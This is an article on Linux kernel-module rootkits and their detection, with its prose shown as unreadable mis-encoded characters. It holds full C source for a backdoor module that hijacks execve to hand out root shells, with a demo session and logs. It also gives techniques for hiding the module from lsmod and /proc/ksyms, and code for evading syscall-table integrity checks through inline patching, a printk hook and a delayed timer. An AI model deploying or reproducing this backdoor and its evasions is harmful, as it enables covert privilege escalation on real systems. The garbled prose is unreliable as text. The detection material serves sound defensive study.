åÓÔÅÓÔ×ÅÎÎÏ, ÜÔÏÔ ÆÁÊÌ - ÎÅ ËÏÍÁÎÄÁ. ïÄÎÁËÏ, ÔÁË ËÁË ÍÙ ÐÅÒÅÈ×ÁÔÙ×ÁÅÍ ÓÉÓÔÅÍÎÙÊ ×ÙÚÏ×
sys_execve()
, ÔÏ ÐÅÒÅÎÁÐÒÁ×ÉÍ ÅÇÏ ÎÁ ËÏÍÁÎÄÕ /bin/sh
, ÐÏÚÁÂÏÔÑÓØ
Ï ÐÒÁ×ÁÈ ÁÄÍÉÎÉÓÔÒÁÔÏÒÁ ÄÌÑ ÜÔÏÊ ÏÂÏÌÏÞËÉ.
äÁÎÎÙÊ ÍÏÄÕÌØ ÂÙÌ ÐÒÏÔÅÓÔÉÒÏ×ÁÎ ÎÁ ÒÁÚÌÉÞÎÙÈ ÑÄÒÁÈ: 2.2.14, 2.2.16, 2.2.19, 2.4.4. ïÎ ÏÔÌÉÞÎÏ ÒÁÂÏÔÁÅÔ Ó ËÁÖÄÙÍ. ïÄÎÁËÏ Ó 2.2.19smp-ow1 (ÐÏÄÄÅÒÖËÁ ÍÎÏÇÏÐÒÏÃÅÓÓÏÒÎÏÓÔÉ Ó ÐÁÔÞÅÍ Openwall) ÚÁÐÕÓË ÏÂÏÌÏÞËÉ ÎÅ ÄÁÅÔ ÎÕÖÎÙÈ ÐÒÉ×ÉÌÅÇÉÊ. ñÄÒÏ - ×ÅÝØ ÞÕ×ÓÔ×ÉÔÅÌØÎÁÑ É ÈÒÕÐËÁÑ, ÐÏÜÔÏÍÕ ÂÕÄØÔÅ ÏÓÔÏÒÏÖÎÙ... ðÕÔØ Ë ÆÁÊÌÁÍ ÓÏÏÔ×ÅÔÓÔ×ÕÅÔ ÏÂÙÞÎÏÍÕ ÄÅÒÅ×Õ ÉÓÈÏÄÎÙÈ ËÏÄÏ× ÑÄÒÁ.
/* rootshell.c */ #define MODULE #define __KERNEL__ #ifdef MODVERSIONS #include <linux/modversions.h> #endif #include <linux/config.h> #include <linux/stddef.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/mm.h> #include <sys/syscall.h> #include <linux/smp_lock.h> #if KERNEL_VERSION(2,3,0) < LINUX_VERSION_CODE #include <linux/slab.h> #endif int (*old_execve)(struct pt_regs); extern void *sys_call_table[]; #define ROOTSHELL "[rootshell] " char magic_cmd[] = "/bin/sh"; int new_execve(struct pt_regs regs) { int error; char * filename, *new_exe = NULL; char hacked_cmd[] = "/etc/passwd"; lock_kernel(); filename = getname((char *) regs.ebx); printk(ROOTSHELL " .%s. (%d/%d/%d/%d) (%d/%d/%d/%d)\n", filename, current->uid, current->euid, current->suid, current->fsuid, current->gid, current->egid, current->sgid, current->fsgid); error = PTR_ERR(filename); if (IS_ERR(filename)) goto out; if (memcmp(filename, hacked_cmd, sizeof(hacked_cmd) ) == 0) { printk(ROOTSHELL " ðÏÌÕÞÉÌÉ:)))\n"); current->uid = current->euid = current->suid = current->fsuid = 0; current->gid = current->egid = current->sgid = current->fsgid = 0; cap_t(current->cap_effective) = ~0; cap_t(current->cap_inheritable) = ~0; cap_t(current->cap_permitted) = ~0; new_exe = magic_cmd; } else new_exe = filename; error = do_execve(new_exe, (char **) regs.ecx, (char **) regs.edx, ®s); if (error == 0) #ifdef PT_DTRACE /* 2.2 vs. 2.4 */ current->ptrace &= ~PT_DTRACE; #else current->flags &= ~PF_DTRACE; #endif putname(filename); out: unlock_kernel(); return error; } int init_module(void) { lock_kernel(); printk(ROOTSHELL "úÁÇÒÕÖÅÎ:)\n"); #define REPLACE(x) old_##x = sys_call_table[__NR_##x];\ sys_call_table[__NR_##x] = new_##x REPLACE(execve); unlock_kernel(); return 0; } void cleanup_module(void) { #define RESTORE(x) sys_call_table[__NR_##x] = old_##x RESTORE(execve); printk(ROOTSHELL "÷ÙÇÒÕÖÅÎ:(\n"); }
ðÒÏ×ÅÒÉÍ, ÞÔÏ ×ÓÅ ÒÁÂÏÔÁÅÔ ËÁË ÎÁÄÏ:
[root@charly rootshell]$ insmod rootshell.o [root@charly rootshell]$ exit exit [pappy]# id uid=500(pappy) gid=100(users) groups=100(users) [pappy]# /etc/passwd [root@charly rootshell]$ id uid=0(root) gid=0(root) groups=100(users) [root@charly rootshell]$ rmmod rootshell [root@charly rootshell]$ exit exit [pappy]#
ðÏÓÌÅ ÜÔÏÊ ËÏÒÏÔËÏÊ ÄÅÍÏÎÓÔÒÁÃÉÉ ÐÏÓÍÏÔÒÉÍ ÎÁ ÓÏÄÅÒÖÉÍÏÅ ÆÁÊÌÁ
/var/log/kernel
:
ÚÄÅÓØ syslogd
ÓËÏÎÆÉÇÕÒÉÒÏ×ÁÎ ÔÁË, ÞÔÏÂÙ ÓÏÈÒÁÎÑÔØ ËÁÖÄÏÅ ÓÏÏÂÝÅÎÉÅ
ÑÄÒÁ(kern.* /var/log/kernel
× /etc/syslogd.conf
):
[rootshell] úÁÇÒÕÖÅÎ:) [rootshell] ./usr/bin/id. (500/500/500/500) (100/100/100/100) [rootshell] ./etc/passwd. (500/500/500/500) (100/100/100/100) [rootshell] ðÏÌÕÞÉÌÉ:))) [rootshell] ./usr/bin/id. (0/0/0/0) (0/0/0/0) [rootshell] ./sbin/rmmod. (0/0/0/0) (0/0/0/0) [rootshell] ÷ÙÇÒÕÖÅÎ:(
îÅÍÎÏÇÏ ÉÚÍÅÎÑÑ ÜÔÏÔ ÍÏÄÕÌØ, ÁÄÍÉÎÉÓÔÒÁÔÏÒ ÍÏÖÅÔ ÐÏÌÕÞÉÔØ ÏÞÅÎØ ÈÏÒÏÛÅÅ ÓÒÅÄÓÔ×Ï ÄÌÑ
ËÏÎÔÒÏÌÑ. ÷ÓÅ ËÏÍÁÎÄÙ, ×ÙÐÏÌÎÑÅÍÙÅ × ÓÉÓÔÅÍÅ, ÚÁÐÉÓÙ×ÁÀÔÓÑ × ÌÏÇÉ ÑÄÒÁ.
òÅÇÉÓÔÒ regs.ecx
ÓÏÄÅÒÖÉÔ **argv
, Á
regs.edx
- **envp
, ÉÚ ÓÔÒÕËÔÕÒÙ current
, ËÏÔÏÒÁÑ
ÏÐÉÓÙ×ÁÅÔ ÔÅËÕÝÕÀ ÚÁÄÁÞÕ, ÍÙ ÐÏÌÕÞÉÍ ×ÓÀ ÎÕÖÎÕÀ ÉÎÆÏÒÍÁÃÉÀ, ÞÔÏÂÙ ÂÙÔØ × ËÕÒÓÅ, ÞÔÏ
ÐÒÏÉÓÈÏÄÉÔ × ËÁÖÄÙÊ ÍÏÍÅÎÔ ×ÒÅÍÅÎÉ.
ðÒÏ×ÅÒËÁ ÎÁ ÃÅÌÏÓÔÎÏÓÔØ ÔÅÐÅÒØ ÎÅ ÐÏÚ×ÏÌÉÔ ÁÄÍÉÎÉÓÔÒÁÔÏÒÕ ÏÂÎÁÒÕÖÉÔØ ÜÔÏÔ ÍÏÄÕÌØ (ÈÏÒÏÛÏ, ÜÔÏ ÎÅ ÓÏ×ÓÅÍ ÔÁË, ÔÁË ËÁË ÍÏÄÕÌØ ÏÞÅÎØ ÐÒÏÓÔÏÊ). ðÏÜÔÏÍÕ ÐÒÏÁÎÁÌÉÚÉÒÕÅÍ ÓÌÅÄÙ, ËÏÔÏÒÙÅ ÍÏÇÕÔ ÏÓÔÁ×ÁÔØÓÑ ÏÔ ÒÕÔËÉÔÏ× ÔÁËÏÇÏ ÔÉÐÁ:
rootshell.o
ÎÅ Ñ×ÌÑÅÔÓÑ ÎÅ×ÉÄÉÍÙÍ × ÆÁÊÌÏ×ÏÊ ÓÉÓÔÅÍÅ, ÔÁË
ËÁË ÜÔÏ ÕÐÒÏÝÅÎÎÙÊ ÍÏÄÕÌØ. ïÄÎÁËÏ ÄÏÓÔÁÔÏÞÎÏ ÐÅÒÅÏÐÒÅÄÅÌÉÔØ
sys_getdents()
, ÞÔÏÂÙ ÎÅ ÄÁÔØ ÏÂÎÁÒÕÖÉÔØ ÜÔÏÔ ÆÁÊÌ;
sys_kill()
É ÎÏ×ÏÇÏ ÓÉÇÎÁÌÁ SIGINVISIBLE
, ×ÏÚÍÏÖÎÏ
ÕÂÒÁÔØ ÄÏÓÔÕÐ Ë ÎÕÖÎÙÍ ÆÁÌÁÍ ÉÚ /proc
(ÓÍ. adore
lrk);
lsmod
×ÙÄÁÅÔ ÓÐÉÓÏË ÍÏÄÕÌÅÊ, ÚÁÇÒÕÖÅÎÎÙÈ
× ÐÁÍÑÔØ:
[root@charly module]$ lsmod Module Size Used by rootshell 832 0 (unused) emu10k1 41088 0 soundcore 2384 4 [emu10k1]ðÒÉ ÚÁÇÒÕÚËÅ ÍÏÄÕÌØ ÐÏÍÅÝÁÅÔÓÑ × ÎÁÞÁÌÏ ÓÐÉÓËÁ
module_list
,
ËÏÔÏÒÙÊ ÓÏÄÅÒÖÉÔ ×ÓÅ ÚÁÇÒÕÖÅÎÎÙÅ ÍÏÄÕÌÉ, Á ÉÍÑ ÍÏÄÕÌÑ ÄÏÂÁ×ÌÑÅÔÓÑ × ÆÁÊÌ
/proc/modules
. lsmod
ÞÉÔÁÅÔ ÜÔÏÔ ÆÁÊÌ ÄÌÑ ÐÏÌÕÞÅÎÉÑ ÉÎÆÏÒÍÁÃÉÉ.
õÄÁÌÅÎÉÅ ÍÏÄÕÌÑ ÉÚ module_list
ÐÒÉ×ÏÄÉÔ Ë ÉÓÞÅÚÎÏ×ÅÎÉÀ ÅÇÏ ÉÚ
/proc/modules
:
int init_module(void) { [...] if (!module_list->next) //ÜÔÏ ÅÄÉÎÓÔ×ÅÎÎÙÊ ÍÏÄÕÌØ:( return -1; // üÔÏ ÏÔÌÉÞÎÏ ÒÁÂÏÔÁÅÔ ÔÁË ËÁË __this_module == module_list module_list = module_list->next; [...] }ë ÓÏÖÁÌÅÎÉÀ, ÉÚ-ÚÁ ÜÔÏÇÏ ÍÙ ÎÅ ÓÍÏÖÅÍ ÕÄÁÌÉÔØ ÐÏÚÖÅ ÍÏÄÕÌØ ÉÚ ÐÁÍÑÔÉ, ÅÓÌÉ ÔÏÌØËÏ ÎÅ ÓÏÈÒÁÎÉÍ ÇÄÅ-ÎÉÂÕÄØ ÅÇÏ ÁÄÒÅÓ.
/proc/ksyms
: × ÜÔÏÍ ÆÁÊÌÅ ÓÏÄÅÒÖÉÔÓÑ ÓÐÉÓÏË ÓÉÍ×ÏÌÏ× ÄÏÓÔÕÐÎÙÈ
× ÐÒÏÓÔÒÁÎÓÔ×Å ÑÄÒÁ:
[...] e00c41ec magic_cmd [rootshell] e00c4060 __insmod_rootshell_S.text_L281 [rootshell] e00c41ec __insmod_rootshell_S.data_L8 [rootshell] e00c4180 __insmod_rootshell_S.rodata_L107 [rootshell] [...]íÁËÒÏÓ
EXPORT_NO_SYMBOLS
, ÏÐÒÅÄÅÌÅÎÎÙÊ × include/linux/module.h
,
ÓÏÏÂÝÁÅÔ ËÏÍÐÉÌÑÔÏÒÕ, ÞÔÏ ÎÉ ÏÄÎÁ ÆÕÎËÃÉÑ ÉÌÉ ÐÅÒÅÍÅÎÎÁÑ ÎÅ ÄÏÓÔÕÐÎÁ ÉÚ×ÎÅ ÍÏÄÕÌÑ:
int init_module(void) { [...] EXPORT_NO_SYMBOLS; [...] }ïÄÎÁËÏ × ÑÄÒÁÈ 2.2.18, 2.2.19 et 2.4.x ( x<=3 - ÎÅ ÚÎÁÀ ËÁË ÄÌÑ ÏÓÔÁÌØÎÙÈ) ÓÉÍ×ÏÌÙ
__insmod_*
ÏÓÔÁÀÔÓÑ ×ÉÄÉÍÙÍÉ. õÄÁÌÅÎÉÅ ÍÏÄÕÌÑ ÉÚ
module_list
ÔÁËÖÅ ÕÄÁÌÑÅÔ É ÓÉÍ×ÏÌÙ, ÐÏÌÕÞÁÅÍÙÅ ÉÚ /proc/ksyms
.
ðÒÏÂÌÅÍÙ/ÒÅÛÅÎÉÑ, ËÏÔÏÒÙÅ ÍÙ ÏÂÓÕÄÉÌÉ, ÏÔÎÏÓÑÔÓÑ Ë ÎÅ×ÉÄÉÍÏÓÔÉ ÄÌÑ ÐÏÌØÚÏ×ÁÔÅÌØÓËÉÈ ËÏÍÁÎÄ. "èÏÒÏÛÉÊ" LKM ÉÓÐÏÌØÚÕÅÔ ×ÓÅ ÜÔÉ ÐÒÉÅÍÙ, ÞÔÏÂÙ ÏÓÔÁ×ÁÔØÓÑ ÎÅÚÁÍÅÞÅÎÎÙÍ.
åÓÔØ Ä×Á ÓÐÏÓÏÂÁ ÏÂÎÁÒÕÖÉÔØ ÔÁËÉÅ ÒÕÔËÉÔÙ. ðÅÒ×ÙÊ ÓÏÓÔÏÉÔ × ÉÓÐÏÌØÚÏ×ÁÎÉÉ
ÕÓÔÒÏÊÓÔ×Á /dev/kmem
, ÞÔÏÂÙ ÓÒÁ×ÎÉÔØ ÉÎÆÏÒÍÁÃÉÀ ÉÚ ÏÂÒÁÚÁ ÐÁÍÑÔÉ ÑÄÒÁ Ó ÔÏÊ, ÞÔÏ
ÓÏÄÅÒÖÉÔÓÑ × /proc
. õÔÉÌÉÔÙ, ÔÁËÉÅ ËÁË kstat
, ÐÏÚ×ÏÌÑÀÔ
ÐÒÏÉÚ×ÏÄÉÔØ ÐÏÉÓË × /dev/kmem
ÄÌÑ ÐÒÏ×ÅÒËÉ ÔÅËÕÝÉÈ ÓÉÓÔÅÍÎÙÈ ÐÒÏÃÅÓÓÏ×,
ÁÄÒÅÓÏ× ÓÉÓÔÅÍÎÙÈ ×ÙÚÏ×Ï×... ÷ ÓÔÁÔØÅ ôÏÂÉ íÉÌÌÅÒÁ (Toby Miller) Detecting Loadable Kernel Modules (LKM)
ÏÐÉÓÁÎÏ, ËÁË ÉÓÐÏÌØÚÏ×ÁÔØ kstat
ÄÌÑ ÏÂÎÁÒÕÖÅÎÉÑ ÒÕÔËÉÔÏ× ÜÔÏÇÏ ÔÉÐÁ.
÷ÔÏÒÏÊ ÓÐÏÓÏ ÓÏÓÔÏÉÔ × ÏÂÎÁÒÕÖÅÎÉÉ ËÁÖÄÏÊ ÐÏÐÙÔËÉ ÉÚÍÅÎÅÎÉÑ ÓÉÓÔÅÍÎÏÊ ÔÁÂÌÉÃÙ ×ÙÚÏ×Ï×.
íÏÄÕÌØ St_Michael
ôÉÍÁ ìÏÌÉÓÁ (Tim Lawless) ÐÒÏÉÚ×ÏÄÉÔ ÔÁËÏÊ ËÏÎÔÒÏÌØ.
÷Ï ×ÒÅÍÑ ÎÁÐÉÓÁÎÉÑ ÓÔÁÔØÉ ÍÏÄÕÌØ ÅÝÅ ÎÁÈÏÄÉÌÓÑ × ÒÁÚÒÁÂÏÔËÅ, ÐÏÜÔÏÍÕ ÅÇÏ ÏÐÉÓÁÎÉÅ ÍÏÖÅÔ
ÉÚÍÅÎÉÔØÓÑ.
ëÁË ÍÙ ×ÉÄÅÌÉ × ÐÒÅÄÙÄÕÝÅÍ ÐÒÉÍÅÒÅ, lkm ÒÕÔËÉÔÙ ÏÓÎÏ×ÁÎÙ ÎÁ ÉÚÍÅÎÅÎÉÉ ÔÁÂÌÉÃÙ
ÓÉÓÔÅÍÎÙÈ ×ÙÚÏ×Ï×. ðÅÒ×ÏÅ ÒÅÛÅÎÉÅ - ÓÄÅÌÁÔØ ÒÅÚÅÒ×ÎÕÀ ËÏÐÉÀ ÜÔÉÈ ÁÄÒÅÓÏ× ×Ï ×ÔÏÒÏÊ ÔÁÂÌÉÃÅ
É ÐÅÒÅÏÐÒÅÄÅÌÉÔØ ×ÙÚÏ×Ù, ËÏÔÏÒÙÅ ÕÐÒÁ×ÌÑÀÔ ÆÕÎËÃÉÑÍÉ sys_init_module()
É sys_delete_module()
. ôÁËÉÍ ÏÂÒÁÚÏÍ, ÐÏÓÌÅ ÚÁÇÒÕÚËÉ ËÁÖÄÏÇÏ ÍÏÄÕÌÑ,
ÍÏÖÎÏ ÄÅÌÁÔØ ÐÒÏ×ÅÒËÕ ÁÄÒÅÓÏ×:
/* ÷ÚÑÔÏ ÉÚ ÍÏÄÕÌÑ St_Michael ôÉÍÁ ìÏÌÉÓÁ */ asmlinkage long sm_init_module (const char *name, struct module * mod_user) { int init_module_return; register int i; init_module_return = (*orig_init_module)(name,mod_user); /* ðÒÏ×ÅÒÉÍ, ÎÅ ÉÚÍÅÎÉÌÁÓØ ÌÉ ÔÁÂÌÉÃÁ ÓÉÓÔÅÍÎÙÈ ×ÙÚÏ×Ï×. åÓÌÉ ÏÎÁ ÉÚÍÅÎÉÌÁÓØ, ÐÒÉÍÅÍ ÍÅÒÙ. íÙ ÍÏÇÌÉ ÂÙ ÓÄÅÌÁÔØ ÜÔÏ ÏÔÄÅÌØÎÏÊ ÆÕÎËÃÉÅÊ, ÏÄÎÁËÏ ÚÁÞÅÍ ÔÒÁÔÉÔØ ×ÒÅÍÑ ÎÁ ×ÙÚÏ×? */ for (i = 0; i < NR_syscalls; i++) { if ( recorded_sys_call_table[i] != sys_call_table[i] ) { int j; for ( i = 0; i < NR_syscalls; i++) sys_call_table[i] = recorded_sys_call_table[i]; break; } } return init_module_return; }
üÔÏ ÒÅÛÅÎÉÅ ÚÁÝÉÝÁÅÔ ÎÁÓ ÏÔ ÓÏ×ÒÅÍÅÎÎÙÈ lkm ÒÕÔËÉÔÏ×, ÏÄÎÁËÏ ÏÎÏ ÄÁÌÅËÏ
ÏÔ ÓÏ×ÅÒÛÅÎÓÔ×Á. âÅÚÏÐÁÓÎÏÓÔØ - ÜÔÏ ÇÏÎËÁ ×ÏÏÒÕÖÅÎÉÊ (ÏÔÞÁÓÔÉ), É ×ÏÔ ÓÐÏÓÏÂ, ËÁË
ÏÂÏÊÔÉ ÜÔÕ ÚÁÝÉÔÕ. ÷ÍÅÓÔÏ ÔÏÇÏ, ÞÔÏÂÙ ÉÚÍÅÎÑÔØ ÁÄÒÅÓ ÓÉÓÔÅÍÎÏÇÏ ×ÙÚÏ×Á, ÐÏÞÅÍÕ ÂÙ ÎÅ
ÉÚÍÅÎÉÔØ ÓÁÍ ÓÉÓÔÅÍÎÙÊ ×ÙÚÏ×? üÔÏ ÏÐÉÓÁÎÏ óÉÌØ×ÉÏ ãÅÚÁÒÅ × stealth-syscall.txt.
ðÒÉ ÁÔÁËÅ ÚÁÍÅÎÑÀÔÓÑ ÐÅÒ×ÙÅ ÂÁÊÔÙ ËÏÄÁ ÓÉÓÔÅÍÎÏÇÏ ×ÙÚÏ×Á ÎÁ ÉÎÓÔÒÕËÃÉÀ
"jump &new_syscall
" (ÜÔÏ ÐÓÅ×ÄÏ-ÁÓÓÅÍÂÌÅÒ):
/* ÷ÚÑÔÏ ÉÚ stealth_syscall.c (Linux 2.0.35) óÉÌØ×ÉÏ ãÅÚÁÒÅ */ static char new_syscall_code[7] = "\xbd\x00\x00\x00\x00" /* movl $0,%ebp */ "\xff\xe5" /* jmp *%ebp */ ; int init_module(void) { *(long *)&new_syscall_code[1] = (long)new_syscall; _memcpy(syscall_code, sys_call_table[SYSCALL_NR], sizeof(syscall_code)); _memcpy(sys_call_table[SYSCALL_NR], new_syscall_code, sizeof(syscall_code)); return 0; }
íÙ ÚÁÝÉÝÁÅÍ Ó×ÏÉ ÐÒÏÇÒÁÍÍÙ É ÂÉÂÌÉÏÔÅËÉ ÐÒÉ ÐÏÍÏÝÉ ÔÅÓÔÏ× ÎÁ ÃÅÌÏÓÔÎÏÓÔØ, ÔÏ ÖÅ
ÓÁÍÏÅ ÍÙ ÄÏÌÖÎÙ ÓÄÅÌÁÔØ É ÚÄÅÓØ. íÙ ÄÏÌÖÎÙ ÈÒÁÎÉÔØ ÈÜÛ ÍÁÛÉÎÎÏÇÏ ËÏÄÁ ËÁÖÄÏÇÏ ×ÙÚÏ×Á.
íÙ ÐÒÏÄÏÌÖÁÅÍ ÒÁÂÏÔÁÔØ ÎÁÄ ÜÔÏÊ ÒÅÁÌÉÚÁÃÉÅÊ × St_Michael
, ÉÚÍÅÎÑÑ
ÓÉÓÔÅÍÎÙÊ ×ÙÚÏ× init_module()
, ÜÔÏ ÐÏÚ×ÏÌÑÅÔ ÐÒÏ×ÏÄÉÔØ ÔÅÓÔ ÎÁ ÃÅÌÏÓÔÎÏÓÔØ
ÐÏÓÌÅ ÚÁÇÒÕÚËÉ ËÁÖÄÏÇÏ ÍÏÄÕÌÑ.
îÏ ÄÁÖÅ É × ÜÔÏÊ ÓÉÔÕÁÃÉÉ, ×ÏÚÍÏÖÎÏ ÏÂÏÊÔÉ ÔÅÓÔ ÎÁ ÃÅÌÏÓÔÎÏÓÔØ (ÐÒÉÍÅÒ ÉÚ ÐÅÒÅÐÉÓËÉ ÍÅÖÄÕ ôÉÍÏÍ ìÏÌÉÓÏÍ, Mixman-ÏÍ É ÍÎÏÊ; ÉÓÈÏÄÎÙÊ ËÏÄ ÎÁÐÉÓÁÎ Mixman-ÏÍ):
init_module()
ÍÙ ÉÚÍÅÎÑÅÍ ÐÅÒ×ÙÅ ÂÁÊÔÙ
ÆÕÎËÃÉÉ (× ÜÔÏÍ ÐÒÉÍÅÒÅ printk()
), ÞÔÏÂÙ "ÐÅÒÅÓËÏÞÉÔØ" ÉÚ ÎÅÅ ÎÁ
hacked_printk()
/* ÷ÚÑÔÏ ÉÚ printk_exploit.c Mixman-Á */ static unsigned char hacked = 0; /* hacked_printk() ÉÚÍÅÎÑÅÔ ÓÉÓÔÅÍÎÙÊ ×ÙÚÏ×. úÁÔÅÍ ÍÙ ×ÙÚÙ×ÁÅÍ "ÎÏÒÍÁÌØÎÙÊ" printk(), ÞÔÏÂÙ ×ÓÅ ÒÁÂÏÔÁÌÏ ÐÒÁ×ÉÌØÎÏ. */ asmlinkage int hacked_printk(const char* fmt,...) { va_list args; char buf[4096]; int i; if(!fmt) return 0; if(!hacked) { sys_call_table[SYS_chdir] = hacked_chdir; hacked = 1; } memset(buf,0,sizeof(buf)); va_start(args,fmt); i = vsprintf(buf,fmt,args); va_end(args); return i; }ôÁËÉÍ ÏÂÒÁÚÏÍ, ÔÅÓÔ ÎÁ ÃÅÌÏÓÔÎÏÓÔØ, ÐÏÍÅÝÅÎÎÙÊ × ÐÅÒÅÏÐÒÅÄÅÌÅÎÉÅ
init_module()
,
ÐÏÄÔ×ÅÒÖÄÁÅÔ, ÞÔÏ ÐÒÉ ÚÁÇÒÕÚËÅ ÎÅ ÂÙÌÏ ÉÚÍÅÎÅÎÉÊ × ÔÁÂÌÉÃÅ ÓÉÓÔÅÍÎÙÈ ×ÙÚÏ×Ï×. ïÄÎÁËÏ
ÐÒÉ ÓÌÅÄÕÀÝÅÍ ×ÙÚÏ×Å printk()
ÉÚÍÅÎÅÎÉÅ ÐÒÏÉÚÏÊÄÅÔ...init_module()
, ÏÐÒÅÄÅÌÑÅÔÓÑ ÔÁÊÍÅÒ,
ËÏÔÏÒÙÊ ÓÄÅÌÁÅÔ ÉÚÍÅÎÅÎÉÑ ÎÁÍÎÏÇÏ ÐÏÚÖÅ, ÞÅÍ ÐÒÏÉÚÏÛÌÁ ÚÁÇÒÕÚËÁ ÍÏÄÕÌÑ. ôÁËÉÍ ÏÂÒÁÚÏÍ, ÔÁË
ËÁË ÔÅÓÔ ÎÁ ÃÅÌÏÓÔÎÏÓÔØ ÐÒÏÉÓÈÏÄÉÔ ×Ï ×ÒÅÍÑ ÚÁÇÒÕÚËÉ (×ÙÇÒÕÚËÉ) ÍÏÄÕÌÑ, ÁÔÁËÁ ÐÒÏÈÏÄÉÔ ÎÅÚÁÍÅÞÅÎÎÏÊ :(
/* timer_exploit.c Mixman */ #define TIMER_TIMEOUT 200 extern void* sys_call_table[]; int (*org_chdir)(const char*); static timer_t timer; static unsigned char hacked = 0; asmlinkage int hacked_chdir(const char* path) { printk("ðÅÒÉÏÄÉÞÅÓËÁÑ ÐÒÏ×ÅÒËÁ ÍÏÖÅÔ ÓÔÁÔØ ÒÅÛÅÎÉÅÍ...\n"); return org_chdir(path); } void timer_handler(unsigned long arg) { if(!hacked) { hacked = 1; org_chdir = sys_call_table[SYS_chdir]; sys_call_table[SYS_chdir] = hacked_chdir; } } int init_module(void) { printk("äÏÂÁ×ÌÑÀ ÔÁÊÍÅÒ ÑÄÒÁ...\n"); memset(&timer,0,sizeof(timer)); init_timer(&timer); timer.expires = jiffies + TIMER_TIMEOUT; timer.function = timer_handler; add_timer(&timer); printk("óÉÓÔÅÍÎÙÊ ×ÙÚÏ× sys_chdir() ÂÕÄÅÔ ÍÏÄÉÆÉÃÉÒÏ×ÁÎ ÞÅÒÅÚ ÎÅÓËÏÌØËÏ ÓÅËÕÎÄ\n"); return 0; } void cleanup_module(void) { del_timer(&timer); sys_call_table[SYS_chdir] = org_chdir; }÷ ÄÁÎÎÙÊ ÍÏÍÅÎÔ ÐÏÄÈÏÄÑÝÉÍ ÒÅÛÅÎÉÅÍ, ÎÁÍ ËÁÖÅÔÓÑ, ÂÕÄÅÔ ÚÁÐÕÓË ÔÅÓÔÁ ÎÁ ÃÅÌÏÓÔÎÏÓÔØ ×ÒÅÍÑ ÏÔ ×ÒÅÍÅÎÉ, Á ÎÅ ÔÏÌØËÏ ×Ï ×ÒÅÍÑ ÚÁÇÒÕÚËÉ(×ÙÇÒÕÚËÉ) ÍÏÄÕÌÑ.
ðÏÄÄÅÒÖËÁ ÃÅÌÏÓÔÎÏÓÔÉ ÓÉÓÔÅÍÙ - ×ÅÝØ ÎÅ ÐÒÏÓÔÁÑ. èÏÔÑ ÜÔÉ ÔÅÓÔÙ É ÎÁÄÅÖÎÙ, ÅÓÔØ ÍÎÏÇÏ ÓÐÏÓÏÂÏ× ÏÂÏÊÔÉ ÉÈ. åÄÉÎÓÔ×ÅÎÎÏÅ ÒÅÛÅÎÉÅ - ÎÉÞÅÍÕ ÎÅ ÄÏ×ÅÒÑÔØ ÐÒÉ ÏÃÅÎÉ×ÁÎÉÉ ÓÏÓÔÏÑÎÉÑ ÓÉÓÔÅÍÙ, ÏÓÏÂÅÎÎÏ, ËÏÇÄÁ ÅÓÔØ ÐÏÄÏÚÒÅÎÉÅ, ÞÔÏ ÐÒÏÉÚÏÛÌÏ ×ÔÏÒÖÅÎÉÅ. ìÕÞÛÉÊ ×ÙÈÏÄ - ÏÓÔÁÎÏ×ÉÔØ ÓÉÓÔÅÍÕ É ÚÁÐÕÓÔÉÔØ ÄÒÕÇÕÀ("ÞÉÓÔÕÀ") ÄÌÑ ÏÃÅÎËÉ ÕÒÏÎÁ.
õÔÉÌÉÔÙ É ÍÅÔÏÄÙ, ÒÁÓÓÍÏÔÒÅÎÎÙÅ × ÜÔÏÊ ÓÔÁÔØÅ, Ä×ÕÓÔÏÒÏÎÎÉ. ïÎÉ ÈÏÒÏÛÉ É ÄÌÑ
×ÚÌÏÍÝÉËÁ É ÄÌÑ ÁÄÍÉÎÉÓÔÒÁÔÏÒÁ. üÔÏ ×ÉÄÎÏ ÎÁ ÐÒÉÍÅÒÅ ÍÏÄÕÌÑ rootshell
,
ËÏÔÏÒÙÊ ÔÁËÖÅ ÐÏÚ×ÏÌÑÅÔ ËÏÎÔÒÏÌÉÒÏ×ÁÔØ, ËÔÏ ÞÔÏ ÚÁÐÕÓËÁÅÔ.
åÓÌÉ ÔÅÓÔÙ ÎÁ ÃÅÌÏÓÔÎÏÓÔØ ÒÅÁÌÉÚÏ×ÁÎÙ ÓÏÇÌÁÓÎÏ ÐÏÄÈÏÄÑÝÉÍ ÐÒÁ×ÉÌÁÍ, ËÌÁÓÓÉÞÅÓËÉÅ ÒÕÔËÉÔÙ ÌÅÇËÏ ÏÂÎÁÒÕÖÉ×ÁÀÔÓÑ. ôÅ, ËÏÔÏÒÙÅ ÏÓÎÏ×ÁÎÙ ÎÁ ÍÏÄÕÌÑÈ, ÐÒÅÄÓÔÁ×ÌÑÀÔ ÓÏÂÏÊ ÎÏ×ÕÀ ÐÒÏÂÌÅÍÕ. õÔÉÌÉÔÙ, ËÏÔÏÒÙÅ ÐÏÂÅÄÑÔ ÉÈ, ÎÁÈÏÄÑÔÓÑ × ÒÁÚÒÁÂÏÔËÅ, ËÁË É ÓÁÍÉ ÍÏÄÕÌÉ, ÔÁË ËÁË ÏÎÉ ÅÝÅ ÄÁÌÅËÉ ÏÔ ÉÓÐÏÌØÚÏ×ÁÎÉÑ Ó×ÏÉÈ ÐÏÌÎÙÈ ×ÏÚÍÏÖÎÏÓÔÅÊ. âÅÚÏÐÁÓÎÏÓÔØ ÑÄÒÁ ×ÓÅ ÂÏÌØÛÅ É ÂÏÌØÛÅ ÂÅÓÐÏËÏÉÔ ÌÀÄÅÊ, ÄÏ ÔÁËÏÊ ÓÔÅÐÅÎÉ, ÞÔÏ ìÉÎÕÓ ÚÁÐÒÏÓÉÌ ÍÏÄÕÌØ, ÏÔ×ÅÔÓÔ×ÅÎÎÙÊ ÚÁ ÂÅÚÏÐÁÓÎÏÓÔØ, ÄÌÑ ÑÄÅÒ 2.5. ôÁËÏÅ ÉÚÍÅÎÅÎÉÅ × ÓÏÚÎÁÎÉÉ ÌÀÄÅÊ ÐÒÏÉÚÏÛÌÏ ÉÚ-ÚÁ ÂÏÌØÛÏÇÏ ËÏÌÉÞÅÓÔ×Á ÄÏÓÔÕÐÎÙÈ ÐÁÔÞÅÊ (Openwall, Pax, LIDS, kernelli, ÞÔÏÂÙ ÕÐÏÍÑÎÕÔØ ÍÁÌÕÀ ÞÁÓÔØ ÉÚ ÎÉÈ).
